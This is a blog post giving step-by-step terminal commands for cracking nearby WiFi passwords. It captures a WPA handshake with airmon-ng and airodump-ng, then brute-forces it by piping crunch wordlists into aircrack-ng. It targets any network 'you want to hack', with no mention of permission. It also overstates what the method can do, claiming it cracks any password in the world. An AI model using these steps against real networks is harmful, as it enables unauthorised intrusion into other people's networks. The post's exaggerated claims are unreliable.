Showing posts with label Linux. Show all posts
Showing posts with label Linux. Show all posts

Monday, December 14, 2015

How To Hack WiFi Password Using Linux ?

How to hack WiFi password in Linux :

Well you can hack any wifi near you if you are using Linux specially Kali Linux.Many people use dictionary attacks but we are going to discuss a new and much powerful attack known as crunch.

As every one uses passwords of length 8-12 digits and in most cases it is numeric(0-9) or (a-z) or (A-Z).
When every method of hacking wifi fails this method comes in action.As it checks all possible combinations of the words which you type.

Step 1 :open terminal
Step 2 :type ifconfig.
Step 3 :type airmon-ng start wlan0  (zero not o)
Step 4 :now you get mon0 or mon1 at the end of command after performing step2.Note this name as we will use it in next steps
Step 5 :airodump-ng mon0(as i have monitoring mode enabled at mon0)
Step 6 :airodump-ng mon0 --bssid [bssid of network you want to hack] --channel [its CH no] --write yourfilename
when you see a handshake has been developed now its time to crack it.press cntrl+c to stop picking packets.Now try to find password by using crunch command.

crunch 8 12 0123456789 | aircrack-ng --bssid ag:ad:ff:33:22:11 -w- yourfilename.cap

8 means minimum 8 characters
12 means max 12 chars of password
0-9 means only check for numeric pass you can use abc...zABC....Z to check for all possible combinations .
like
crunch 8 12 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 | aircrack-ng --bssid ag:ad:ff:33:22:11 -w- yourfilename.cap

Now sit back and wait as this method takes lot of time but it will crack any password of the world.